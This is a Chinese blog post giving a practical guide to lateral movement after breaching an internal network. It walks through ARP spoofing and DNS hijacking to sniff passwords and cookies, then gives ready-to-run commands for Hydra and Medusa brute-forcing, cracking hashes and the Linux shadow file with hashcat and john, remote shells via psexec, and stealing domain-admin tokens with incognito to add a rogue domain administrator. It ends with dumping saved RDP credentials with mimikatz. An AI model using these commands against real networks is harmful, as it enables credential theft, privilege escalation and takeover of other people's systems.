橫向滲透的常見方法

2021-01-17 黑白之道


在已經攻佔部分內網主機的前提下，利用現有的資源嘗試獲取更多的憑據、更高的權限，進而達到控制整個網段、擁有最高權限的目的。在很多時候，內網滲透的起點往往只是一臺通過漏洞攻陷的跳板，橫向滲透就是通過這個突破口去不斷擴大在本網段內的戰果。


進入內網維持好權限後接下來要做的就是對當前網絡信息進行全面的信息收集。分析自己所處的網絡位置、計算機信息、橫向資產、服務與埠(漏洞掃描及利用）、敏感數據(如ftp連結記錄、瀏覽器訪問記錄、各服務保存的密碼、資料庫等)。埠服務常見攻擊方法有：爆破、漏洞利用、欺騙、釣魚


根據補丁信息，掏出EXP利用常規系統漏洞對整個網段進行掃描並利用。



二、流量監聽

監聽對象是網段內未加密的一些服務協議，主要內容包括服務連接密碼、網站登錄密碼、敏感數據等


1. cain
cain適用於老版本伺服器，實例：

win2003是web伺服器，充當進入內網的跳板機(192.168.198.133） win7充當內網被攻擊機（192.168.198.130）
win2003安裝了cain。通過cain充當中間人做arp欺騙，截取靶機win7與網關通信的流量以獲取不加密的敏感信息。

①選擇網卡同時也可以修改默認埠。確認點擊即可開始嗅探

③選擇網關以及欺騙目標主機

④開始欺騙

此時在靶機裡面可以看見網關和win03的mac地址相同，說明已經完成arp欺騙


⑤開始監聽，監聽後在目標機器win7裡面打開任意http登錄框輸入密碼進行登錄：

⑥此時在cain裡面，成功抓取密碼


1.1 抓取telnet登錄密碼

靶機win7 telnet連接網段內任意設備


1.2 抓取ftp登錄密碼
靶機win7 ftp登錄網段內任意設備

抓取成功


2.wireshark
wireshark是網工必備神器，功能強大，這裡只簡單介紹到他的過濾語法進行流量監聽。

① 抓取http流量


②抓取指定源地址的http流量
http && ip.src==192.168.198.133

③抓取post數據包含用戶名及密碼
http && ip.src==192.168.198.133  && http.request.method=="POST"
抓取到的登錄信息：

④抓取訪問指定目標地址的http流量
http && ip.dst==192.168.198.133

2.1抓取ftp
ftp && ip.dst==192.168.198.133

telnet && ip.dst==192.168.198.133
抓取到的telnet是一個一個字符傳遞數據，所以根據tcp碼流將所有流量合成一個數據包進行分析(右鍵單擊數據包點擊)

三、ARP欺騙
進行arp欺騙後，可進行域名欺騙、網頁內容欺騙、dns解析欺騙+釣魚攻擊等進一步操作。

1.netfuke
和cain工具一樣只適用於老版本伺服器。
①嗅探設置

來源IP欄輸入網關地址，中間人寫本機IP。

可以將釣魚頁面以html格式文件寫到這裡


③啟動欺騙之後。在目標瀏覽器上，所有web網站都會強制跳轉到html頁面。

2. Foca evail
Foca evail適合高版本伺服器，需要dotnet 4.5以上環境。打開工具設置網卡之後會自動識別同網段其他主機和網關

①arp中間人攻擊
選擇網關及目標機器進行ipv4攻擊

②配置dns劫持欺騙
劫持dns解析過程，在主機將www.baidu.com域名發送到dns伺服器時進行劫持返回主機偽造的其他的IP位址。這裡將百度的域名解析到192.168.198.1這個IP上。（若勾選wildcard選項表示劫持所有域名）

③成功劫持
靶機上www.baidu.com已經解析到IP 192.168.198.1。利用dns劫持可以進行釣魚攻擊

3. ettercap
ettercap是kali一款功能強大的欺騙攻擊工具，既可以實現arp欺騙也可以實現複雜的中間人攻擊。支持命令行和圖形界面

arp欺騙
①ettercap -G  打開圖形界面
②掃描存活主機
accept>hosts>scan for hosts,掃描完成後依次點擊hosts>hosts list，可查看當前網絡主機列表

③選擇攻擊目標設為target 1，網關設為 target 2


④選擇中間人攻擊類型。設置arp監聽，然後開始攻擊

⑤成功抓取密碼

Dns欺騙
①設置欺騙的目標ip以及指定目標網址
vi /etc/ettercap/etter.dns

②accept>hosts>scan for hosts,掃描完成後hosts>hosts list，可查看主機列表。設置欺騙目標，開啟arp欺騙


③設置插件
plugins》manage plugins》dns_spoof


④dns欺騙
這裡也可以看到記錄的密碼
⑤dns欺騙成功

ettercap命令行
ettercap -T -q -i eth0 -M arp:remote /192.168.198.130// /192.168.198.2//#目標：192.168.198.130#網關：192.168.198.2
抓取密碼成功，這裡還能抓到cookie，如果沒法抓到密碼可以抓cookie登錄

四、服務密碼攻擊
1.在線爆破
在線爆破受網絡因素、字典、電腦性能影響較大。掃描埠分析服務進行爆破攻擊：smb、telnet、ftp、rdp、mysql、mssql、ssh

Hydra爆破telnet
hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 telnet://192.168.198.133:23

Hydra爆破ftp
hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 ftp://192.168.198.133:21
Hydra爆破smb
hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 smb://192.168.198.133:445

Hydra爆破ssh
hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 ssh://192.168.198.131:22


Hydra爆破rdp。存在誤報情況，未知原因：
hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 rdp://192.168.198.133:3389

medusa
medusa 工具是通過並行登錄暴力破解的方法，嘗試獲取遠程驗證服務訪問權限。medusa能夠驗證的遠程服務，如ftp/http/imap/mssql/netware/nntp/pcanywhere/pop3/snmp/sshv2/telnet/vnc 等服務密碼。個人覺得沒有hydra用起來絲滑
medusa -h 192.168.1.8 -U /root/dict/usename.txt -P /root/dict/password.txt -M telnet
其他–超級弱口令工具
線程越低越精確


2.離線爆破
得到目標密文後本地加載字典爆破。不用考慮網絡因素，對字典、電腦性能要求高

2.1 hash-identifier--用於識別密文加密的算法類型的工具

2.2 Hashcat
Hashcat系列軟體包含Hashcat、oclHashcat、oclRausscrack。其區別為Hashcat只支持cpu破解；oclHashcat和oclGausscrack則支持gpu加速。oclHashcat則分為AMD版和NIVDA版。
-m #指定加密類型，跟上對應的id號。id號對應編碼方式如下圖

-a #指定爆破攻擊模式，常用0和3。0表示加載字典爆破，3表示邊生成字典邊爆破

①字典爆破
#使用字典破解密碼,a.hash是指要爆破的密文，password.txt是指密碼字典。-o 1.txt輸出為文件hashcat /root/dict/a.hash -m 0 -a 0 /root/dict/password.txt --force


②掩碼破解

?l #小寫字母?u #大寫字母?d #純數字?h #小寫十六進位?H #大寫十六進位?s #特殊字符?a #等於?l?u?d?s#例如：生成8位純數字爆破hashcat a.txt -m 0 -a 3 ?d?d?d?d?d?d?d?d

指定爆破位數且為每一個字母指定類型
hashcat /root/dict/a.hash -m 0 -a 3 ?l?l?l?l?d?d?d --force# test123>?l?l?l?l?d?d?d


組合爆破
--custom-charset1=?l?d ?1?1?1?1?1?1?1?1# 表示生成8位(?1表示數字和小寫字母的組合)由小寫字母和數字組合形成的字典hashcat /root/dict/a.hash -m 0 -a 3 --custom-charset1=?l?d ?1?1?1?1?1?1?1?1 --force
john

1.破解windows密碼。用hashdump7或者mimikatz 導出windows hash為1.txt
john -format=NT /root/1.txt

2.破解Linux shadow文件
cat /etc/shadow > shadow.txtjohn shadow.txtjohn shadow.txt --show

壓縮包爆破
1.Fcrackzip
#安裝apt-get install fcrackzip-b   -c   -u   -l 5-6 -D   -p   -threads 

#爆破密碼為數字fcrackzip -b -ca1 -l 1-6 -u ip.zip#帶字典爆破fcrackzip -D -p pass.txt -u 1.zip

2.rarcrack
該軟體用於暴力破解壓縮文件的密碼，但僅支持RAR, ZIP, 7Z這三種類型的壓縮包
執行命令: rarcrack 文件名 -threads 線程數 -type rar|zip|7z
rarcrack 123.zip --threads 10 --type zip
如果允許出現錯誤。那麼可以執行sudo apt-get install libxml2-dev libxslt-dev進行修復。

shell控制連接
通過埠爆破445得到帳號密碼。沒有開3389沒法直接登錄，此時借用psexec直接調用cmd登錄。也可以通過incognito劫持token，如果有域管理員token劫持DC，創建一個域管理員出來

1.psexec.exe
下載地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
通過得到的帳號密碼信息連結跳板機，通過smb爆破得到帳號密碼，如果目標沒有開啟3389/23服務無法直接登錄，藉助psexec.exe工具通過smb服務調用目標cmd
psexec.exe \\192.168.198.138 -u administrator -p 123456 cmd


2.incognito.exe提權

#查看本機可以利用的tokenincognito.exe list_tokens -u  #查看遠程機器可以利用劫持的tokenincognito.exe -h 192.168.198.138 -u administrator -p 123456 list_tokens -u 

#調用遠程機器的本地系統權限的cmd.exe，查看可以劫持的權限incognito.exe -h 192.168.198.138 -u administrator -p 123456 execute -c "NT AUTHORITY\SYSTEM" cmd.exe 


#域控帳號登陸過普通主機，可以嘗試拿到域低權限帳號利用incognito工具劫持域控身份#查找被攻擊的計算機中是否有DC的tokenincognito.exe -h 192.168.200.11 -u admin -p 123123 list_tokens -u  #利用DA的token創建新的DC，調用DC的cmd.exeincognito.exe -h 192.168.200.11 -u admin -p 123123 execute -c "XY\ADMINISTRATOR" cmd.exe  #執行創建DC命令net user hh 123.com /add /domainnet group "domain admins" hh /add /domain

Linux下通過smbclient訪問windows共享目錄

1.安裝smbclient
yum -y install samba-client/apt-get install samba-client
2.查看共享
smbclient -L 192.168.1.8 -U administrator 
 
3.smb連接
smbclient //192.168.1.8/tools -U administrator
執行smbclient命令成功後，進入smbclient環境，出現提示符：smb:/>  這裡命令和ftp命令相似，如cd 、lcd、get、megt、put、mput等。通過這些命令，我們可以訪問遠程主機的共享資源

本地rdp密碼讀取

1.查看當前伺服器歷史記錄


2.查找保存在本地的認證，得到對應路徑以及值
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

得到：
C:**加粗樣式**\Users\admin\AppData\Local\Microsoft\Credentials\1F914B4D8F36DFD93C3A37B7D5491363

3.運行mimikaz，獲取guidMasterKey
mimikatz dpapi::cred /in:C:\Users\MIN\AppData\Local\Microsoft\Credentials\1F914B4D8F36DFD93C3A37B7D5491363
接下來需要使用的是guidMasterKey、pbData數據。pbData是憑據的加密數據，guidMasterKey是憑據的GUID。

4.獲取MasterKey
根據目標憑據GUID找到其關聯的MasterKey，這個MasterKey就是加密憑據的密鑰，即解密pbData所必須的東西。
mimikatz.exe ""privilege::debug"" ""sekurlsa::dpapi full"" exit >> c:\log.txt
根據guid獲取到masterkey

5.mimikatz破解密碼
dpapi::cred /in:C:\Users\admin\AppData\Local\Microsoft\Credentials\1F914B4D8F36DFD93C3A37B7D5491363/masterkey:3d5c95de7ccd3a1d468efd0d90a42330cdcf06d0e7ee834a443907384a6b25dab8d8ab32c8c9540605711d689304ecab949e168719551d2423498168f7fec6ac

一如既往的學習，一如既往的整理，一如即往的分享。感謝支持

相關焦點

  • 反滲透的25個常見問題及解決方法!
    反滲透又稱逆滲透，一種以壓力差為推動力，從溶液中分離出溶劑的膜分離操作。因為它和自然滲透的方向相反，故稱反滲透。
  • 反滲透膜的24個常見問題及解決方法
    由於反滲透技術的大量普及，採用反滲透+離子交換工藝或多級反滲透或反滲透+其它深度除鹽技術的組合工藝已經成為公認的技術與經濟更為合理的水處理方案，如需深入了解，請諮詢水處理工程公司代表。膜的使用壽命取決於膜的化學穩定性、元件的物理穩定性、可清洗性、進水水源、預處理、清洗頻率、操作管理水平等。根據經濟分析通常為5年以上。
  • 縱向和橫向有什麼區別 縱向和橫向的區別
    縱向和橫向的概念在生活中很常見，並且在不同情境下有不同的意思。那麼縱向和橫向有什麼區別呢？下面跟著小編一起來了解一下吧。縱向和橫向區別是：在平面中左右方向可以理解為橫向，上下方向就是縱向。
  • 詳解雲計算之雲滲透測試
    在風險管理中，重要部分是了解在何處以及如何對企業雲進行滲透測試。定期對所有關鍵任務雲系統進行滲透測試，有助於確定信息安全計劃中需要改進的地方。根據安全團隊的可用資源，他們可以在系統上線前、運行系統時甚至在設計過程中進行滲透測試。 作為參考，雲安全聯盟（CSA）Top Threats工作組發布《雲滲透測試手冊》，概述如何對公共雲環境中託管的系統和服務進行滲透測試。
  • 反滲透系統常見故障分析
    標準化後產水量下降分析1、RO系統出現標準化後產水量降低，可根據下述三種情況尋找原因：（1）RO系統的第一段產水量降低，則存在顆粒類汙染物的沉積；（2）RO系統的最後一段產水量降低，則存在結垢汙染；（3）RO系統的所有段的產水量都降低，則存在汙堵；2、標準化後產水量下降是最常見的系統故障之一
  • 幾種常用荷載橫向分布計算方法
    【學員問題】幾種常用荷載橫向分布計算方法？　　【解答】（1）槓桿原理法——把橫向結構（橋面板和橫隔梁）視作在主梁上斷開而簡支在其上的簡支梁；　　（2）偏心壓力法——把橫隔梁視作剛性極大的梁，當計及主梁抗扭剛度影響時，此法又稱為修正偏心壓力法；　　（3）橫向鉸接板（梁）法——把相鄰板（梁）之間視為鉸接，只傳遞剪力；　　（4）橫向剛接梁法——把相鄰主梁之間視為剛性連接，即傳遞剪力和彎矩；
  • 你的卷式反滲透膜常見問題已解答 請注意查收
    卷式反滲透膜過濾孔徑小，脫鹽率高，能有效去除原水中的病毒、噬菌體和細菌。然而，許多人對反滲透膜的了解不夠，不能正確使用膜元件。今天，我就帶大家了解一下卷繞式反滲透膜的常見問題。1、反滲透膜系統能否頻繁啟停？
  • 汙水處理中反滲透常見問題匯總
    汙水處理中反滲系統應用越來越多，下面為大家整理了一些反滲透在使用過程中常見的問題，內容如下：1.反滲透系統應多久清洗一次
  • Word文檔怎麼橫向排版?這三種方法簡單高效專業
    我們在利用Word文檔處理日常工作時，為了文檔的美觀，我們會經常對Word文檔進行各種形式的排版，比如對Word文檔進行橫向排版。如果有小夥伴不知道該如何進行橫向排版，那麼今天小編將要向大家分享三個橫向排版的小技巧，不知道的小夥伴趕緊看看吧。
  • 反滲透純水設備工藝流程,反滲透膜清洗方法及注意事項
    什麼是反滲透純水設備？反滲透純水設備在哪個行業應用？河南萬達環保小編來告訴你~ 一個完整的反滲透純水設備工藝系統包括預處理系統與反滲透淨水設備系統兩個相對獨立系統 。
  • 反滲透軟化水設備長沙生產廠家設備清洗方法
    反滲透軟化水設備長沙生產廠家設備清洗方法 ,「vpkgs」   反滲透軟化水設備長沙生產廠家設備清洗方法  而反滲透淨水器為個毫升，要嚴格得多，當然反滲透淨水器水質也要比超濾淨水器好得多。
  • 反滲透設備鶴壁優質廠家設備清洗方法?
    反滲透設備鶴壁優質廠家設備清洗方法？   反滲透設備鶴壁優質廠家設備清洗方法？  電滲析英文簡寫為ED一ElectroDialys。保養應達到外觀清潔、呈現本色、油路暢通、油淨明亮、良好。冷卻水及洗瓶水的水質軟化。
  • 哺乳動物中發現橫向基因跳躍
    細菌則不僅以這種「縱向」方式獲得基因，還能以「橫向」方式從一個不相干的細菌傳遞基因。在最新一期出版的美國《國家科學院院刊》（PNAS）上，美國德克薩斯大學的生物學家又有了一項意想不到的發現：橫向基因跳躍也發生在哺乳動物和兩棲動物身上。這一發現如果得到證實，也許將改變人類對進化的理解。 這個「肇事者」就是在人類所有細胞中發現的一類寄生DNA——轉座子。
  • 內網滲透|ATT&CK紅隊評估實戰靶場-2
    win2008r2：192.168.52.138（Nat網卡） VM3拓撲圖如上，上一篇已經拿到了VM1的shell，且進行了主機與域內信息收集，通過收集的信息已經確定了域控ip，和大致能描繪出內網基本拓撲圖，如上期所說，此靶場難度為易，非常適合練習內網滲透各種姿勢
  • 網站安全滲透測試常見的漏洞有哪些
    我們SINE安全在進行Web滲透測試中網站漏洞利用率最高的前五個漏洞。常見漏洞包括注入漏洞、文件上傳漏洞、文件包含漏洞、命令執行漏洞、代碼執行漏洞、跨站點腳本(XSS)漏洞、SSRF漏洞、XML外部實體(XXE)漏洞、反序列化漏洞、解析漏洞等。，因為這些安全漏洞可能被黑客利用，從而影響業務。以下每一條路線都是一種安全風險。
  • 反滲透膜在水處理應用中的25個常見問題及解決方法!
    北極星水處理網訊:反滲透又稱逆滲透，一種以壓力差為推動力，從溶液中分離出溶劑的膜分離操作。因為它和自然滲透的方向相反，故稱反滲透。根據各種物料的不同滲透壓，就可以使用大於滲透壓的反滲透壓力，即反滲透法，達到分離、提取、純化和濃縮的目的。
  • 【存儲知識小講堂系列】為什麼橫向擴展很重要
    文章轉自：戴爾易安信微信公眾號　　當企業存儲系統容量不足時　　添加新的硬碟或閃盤以緩解容量壓力　　是一直以來常見的做法　　就像我們往PC裡添加硬碟一樣　　不過，隨著時間的推移　　這種方法已經越來越不合時宜啦　　你需要一種全新的擴展方式
  • 4040反滲透膜內部構造
    4反滲透膜預處理方法反滲透膜過濾方式與濾床式過濾器過濾不同，濾床是全過濾方式，即原水全部通過濾層。而反滲透膜過濾是橫流過濾方式（如圖3-21 反滲透膜橫向過濾示意圖），即原水中的一部分水沿與膜垂直方向透過膜，此時鹽類和各種汙染物被膜截流下來，並被沿膜與膜面平行方向流動的剩餘的另一部分原水攜帶出，但汙染物並不能完全帶出，隨著時間的推移，殘留的汙染物會會使膜元件汙染加重，而且原水汙染物及回收率越高，膜汙染越快。
  • 噴槍的7個常見故障及解決方法
    噴槍使用出現故障多數都是因為沒有得到細心的保養維護長時間的累積，一經觸發便會問題頻頻我們列舉了7種噴槍使用中的常見故障案例以及解決方法希望能夠為您答疑解惑>薩塔噴槍的常見使用故障1、槍壺內出現氣泡解決方法：更換空氣分流環。
  • 工程降水常用方法對比及常見問題應急措施
    常見的有截滲牆、帷幕灌漿、鋼板樁等，在截斷地下水向基坑滲透的同時也對基坑的邊坡起到一定的支護作用。同時，由於截滲幕牆的存在，基坑降水對幕牆以外的地下水影響程度大大減小，周圍建築物的穩定性得到有效保障。當然，截滲幕牆的施工需要較大的場地而且會產生較大噪聲，在建築物密集區和居民區附近等地施工時會受到一些限制。